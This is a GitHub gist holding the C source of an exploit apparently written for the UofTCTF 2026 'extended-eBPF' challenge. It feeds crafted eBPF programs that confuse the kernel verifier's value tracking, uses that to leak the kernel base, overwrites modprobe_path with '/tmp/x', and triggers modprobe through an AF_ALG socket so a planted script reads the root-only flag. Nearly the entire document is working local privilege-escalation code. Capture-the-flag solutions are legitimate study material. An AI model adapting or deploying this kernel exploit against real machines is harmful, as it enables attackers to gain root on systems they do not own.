Created
January 20, 2026 14:54
-
-
Save jun-lsh/004540288b0f39791aa6020d88422b28 to your computer and use it in GitHub Desktop.
UofTCTF 2026 - extended-eBPF exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <stdlib.h> | |
| #include <fcntl.h> | |
| #include <signal.h> | |
| #include <string.h> | |
| #include <stdint.h> | |
| #include <sys/mman.h> | |
| #include <sys/syscall.h> | |
| #include <sys/ioctl.h> | |
| #include <sched.h> | |
| #include <ctype.h> | |
| #include <pthread.h> | |
| #include <sys/types.h> | |
| #include <sys/sem.h> | |
| #include <semaphore.h> | |
| #include <poll.h> | |
| #include <sys/ipc.h> | |
| #include <sys/msg.h> | |
| #include <sys/shm.h> | |
| #include <sys/wait.h> | |
| #include <sys/user.h> | |
| #include <sys/ptrace.h> | |
| #include <stddef.h> | |
| #include <sys/utsname.h> | |
| #include <stdbool.h> | |
| #include <sys/prctl.h> | |
| #include <sys/resource.h> | |
| #include <sys/socket.h> | |
| #include <linux/bpf.h> | |
| #include <bpf/libbpf.h> | |
| #include <linux/bpf_common.h> | |
| #include <linux/if_alg.h> | |
| #include "bpf_insn.h" | |
| char trigger_buf[0x2000]; | |
| int socks[2] = {-1}; | |
| int oob_map_fd, arb_read_write_map_fd, info_map_fd; | |
| int trigger_modprobe(){ | |
| struct sockaddr_alg sa; | |
| int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); | |
| if (alg_fd < 0) { | |
| perror("socket(AF_ALG) failed"); | |
| return 1; | |
| } | |
| memset(&sa, 0, sizeof(sa)); | |
| sa.salg_family = AF_ALG; | |
| strcpy((char *)sa.salg_type, "Qanux"); // dummy string | |
| bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)); | |
| return 1; | |
| } | |
| void get_root_flag(void){ | |
| char buf[0x30]; | |
| memset(buf, 0, sizeof(buf)); | |
| puts("[*] Returned to userland, setting up for fake modprobe"); | |
| system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag\ncat /flag' > /tmp/x"); | |
| system("chmod +x /tmp/x"); | |
| trigger_modprobe(); | |
| int fd = open("/tmp/flag", O_RDONLY); | |
| if (fd < 0) { | |
| puts("[-] Lose..."); | |
| } else { | |
| read(fd, buf, 0x30); | |
| printf("[+] flag: %s", buf); | |
| } | |
| } | |
| int bpf(int cmd, union bpf_attr *attr){ | |
| return syscall(__NR_bpf, cmd, attr, sizeof(*attr)); | |
| } | |
| int bpf_prog_load(union bpf_attr *attr){ | |
| return bpf(BPF_PROG_LOAD, attr); | |
| } | |
| int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries){ | |
| union bpf_attr attr = { | |
| .map_type = BPF_MAP_TYPE_ARRAY, | |
| .key_size = key_size, | |
| .value_size = value_size, | |
| .max_entries = max_entries | |
| }; | |
| return bpf(BPF_MAP_CREATE, &attr); | |
| } | |
| int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){ | |
| union bpf_attr attr = { | |
| .map_fd = map_fd, | |
| .key = (uint64_t) &key, | |
| .value = (uint64_t) value, | |
| .flags = flags | |
| }; | |
| return bpf(BPF_MAP_UPDATE_ELEM, &attr); | |
| } | |
| uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){ | |
| uint64_t value[0x150/8] = {}; | |
| union bpf_attr attr = { | |
| .map_fd = map_fd, | |
| .key = (uint64_t) &key, | |
| .value = (uint64_t) &value, | |
| }; | |
| bpf(BPF_MAP_LOOKUP_ELEM, &attr); | |
| return value[index]; | |
| } | |
| union bpf_attr* create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt){ | |
| union bpf_attr *attr = (union bpf_attr *) malloc(sizeof(union bpf_attr)); | |
| attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER; | |
| attr->insn_cnt = insn_cnt; | |
| attr->insns = (uint64_t) insns; | |
| attr->license = (uint64_t)""; | |
| return attr; | |
| } | |
| int attach_socket(int prog_fd){ | |
| if(socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0){ | |
| perror("socketpair"); | |
| exit(1); | |
| } | |
| if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){ | |
| perror("setsockopt"); | |
| exit(1); | |
| } | |
| } | |
| void setup_bpf_prog(struct bpf_insn *insns, uint insncnt){ | |
| char log_buffer[0x4000]; | |
| union bpf_attr *prog = create_bpf_prog(insns, insncnt); | |
| prog->log_level = 2; | |
| prog->log_buf = (uint64_t) log_buffer; | |
| prog->log_size = sizeof(log_buffer); | |
| strncpy(prog->prog_name, "stdnoerr", 16); | |
| int prog_fd = bpf_prog_load(prog); | |
| printf("%d\n", strlen(log_buffer)); | |
| puts(log_buffer); | |
| if(prog_fd < 0){ | |
| perror("prog_load"); | |
| exit(1); | |
| } | |
| attach_socket(prog_fd); | |
| } | |
| void run_bpf_prog(struct bpf_insn *insns, uint insncnt){ | |
| int val = 0; | |
| setup_bpf_prog(insns, insncnt); | |
| write(socks[1], &val, sizeof(val)); | |
| close(socks[0]); | |
| close(socks[1]); | |
| socks[0] = -1; | |
| } | |
| void run_bpf_prog_w_vals(struct bpf_insn *insns, uint insncnt, const void *data, size_t size){ | |
| setup_bpf_prog(insns, insncnt); | |
| if(write(socks[1], data, size) < 0) { | |
| printf("Something wrong with the write!\n"); | |
| exit(1); | |
| } | |
| close(socks[0]); | |
| close(socks[1]); | |
| socks[0] = -1; | |
| } | |
| int main(){ | |
| oob_map_fd = bpf_map_create(4, 0x150, 1); | |
| if(oob_map_fd < 0){ | |
| printf("bomb!!!\n"); | |
| perror("create_map"); | |
| return 1; | |
| } | |
| uint64_t value = 0xDEADBEEFCAFEBABF; // set val and help with struct inspection | |
| bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY); | |
| struct bpf_insn kbase_leak[] = { | |
| // this part is copied from chompie | |
| // load pointer to oob_map_fd map into R1 | |
| BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd), | |
| BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), | |
| BPF_MOV64_IMM(BPF_REG_0, 0), | |
| // write 0 to [rsp-4] | |
| BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), | |
| BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), | |
| BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), | |
| // pull value from map | |
| BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), | |
| BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ | |
| BPF_EXIT_INSN(), | |
| // store &oob_map[0] in BPF_REG_7, but actually its oob_map_ptr + 0x110 | |
| // that's the offset of .values in bpf_array | |
| BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), | |
| // we should get 1, because that is what we wrote to that slot | |
| BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0), | |
| BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1), | |
| BPF_MOV64_IMM(BPF_REG_8, 1), | |
| BPF_ALU64_REG(BPF_LSH, BPF_REG_8, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1 | |
| BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0 | |
| // now BPF_REG_8 should be carrying 1, but the verifier thinks its carrying 0 | |
| BPF_MOV64_REG(BPF_REG_0, BPF_REG_8), | |
| BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0xF8), // fucked up weird ahh offset manually derived | |
| BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_0), | |
| // now BPF_REG_7 should (should) be carrying map_ptr + 0x0, which is a ptr to array_map_ops | |
| // we load that into BPF_REG_6 | |
| BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_7, 0), | |
| BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xF8), | |
| // write array_map_ops ptr to map_ptr + 0x110 | |
| BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), | |
| // clear reg0 so it doesn't bitch | |
| BPF_MOV64_IMM(BPF_REG_0, 0), | |
| BPF_EXIT_INSN() | |
| }; | |
| run_bpf_prog(kbase_leak, sizeof(kbase_leak)/sizeof(kbase_leak[0])); | |
| uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0); | |
| printf("array_map_ops: %p\n", array_map_ops); | |
| // now we can calculate kbase from our fixed offset | |
| uint64_t kbase = array_map_ops - 0xc1d9a0; | |
| printf("kbase: %p\n", kbase); | |
| uint64_t modprobe = kbase + 0x10be1e0; | |
| printf("modprobe_path: %p\n", modprobe); | |
| oob_map_fd = bpf_map_create(4, 0x150, 1); | |
| bpf_map_update_elem(oob_map_fd, 0, &value, BPF_ANY); | |
| struct bpf_insn arb_write[] = { | |
| // save ctx | |
| BPF_MOV64_REG(BPF_REG_9, BPF_REG_1), | |
| // same setup from earlier | |
| BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd), | |
| BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), | |
| BPF_MOV64_IMM(BPF_REG_0, 0), | |
| BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), | |
| BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), | |
| BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), | |
| BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), | |
| BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \ | |
| BPF_EXIT_INSN(), | |
| BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), | |
| BPF_LDX_MEM(BPF_DW,BPF_REG_4, BPF_REG_0, 0), | |
| BPF_ALU64_IMM(BPF_AND, BPF_REG_4, 1), | |
| BPF_MOV64_IMM(BPF_REG_1, 1), | |
| BPF_ALU64_REG(BPF_LSH, BPF_REG_1, BPF_REG_4), // 1 << 1 = 2, but verifier thinks 1 << 0 = 1 | |
| BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // 2 - 1 = 1, but verifier thinks 1 -1 = 0 | |
| // now BPF_REG_1 should be carrying 1, but the verifier thinks its carrying 0 | |
| BPF_MOV64_REG(BPF_REG_7, BPF_REG_1), | |
| BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 1), | |
| BPF_ALU64_IMM(BPF_MUL, BPF_REG_7, 8), | |
| // store the array pointer | |
| BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_8, -8), | |
| // overwrite array pointer on stack | |
| // we use BPF_FUNC_skb_load_bytes instead of the relative version because its cleaner | |
| BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), // ctx | |
| BPF_MOV64_IMM(BPF_REG_2, 0), | |
| BPF_MOV64_REG(BPF_REG_3, BPF_REG_10), | |
| BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16), | |
| BPF_MOV64_REG(BPF_REG_4, BPF_REG_7), // verifier 8, but actually 16 | |
| BPF_MOV64_IMM(BPF_REG_5, 0), | |
| BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes), | |
| // the address we want to write to will be in here! | |
| BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8), | |
| // since we know what we want to write and that its 64bit we just hardcode here | |
| BPF_MOV64_IMM(BPF_REG_0, 0), | |
| BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), | |
| BPF_MOV64_IMM(BPF_REG_0, 0x706d742f), // "/tmp" | |
| BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), | |
| BPF_MOV64_IMM(BPF_REG_0, 0x782f), // "/x" | |
| BPF_STX_MEM(BPF_W, BPF_REG_6, BPF_REG_0, 4), | |
| // clear reg0 so it doesn't bitch | |
| BPF_MOV64_IMM(BPF_REG_0, 0), | |
| BPF_EXIT_INSN() | |
| }; | |
| *(uint64_t *)(trigger_buf + 8) = modprobe; | |
| run_bpf_prog_w_vals(arb_write, sizeof(arb_write)/sizeof(arb_write[0]), trigger_buf, 0x100); | |
| printf("Arb write completed!\n"); | |
| get_root_flag(); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment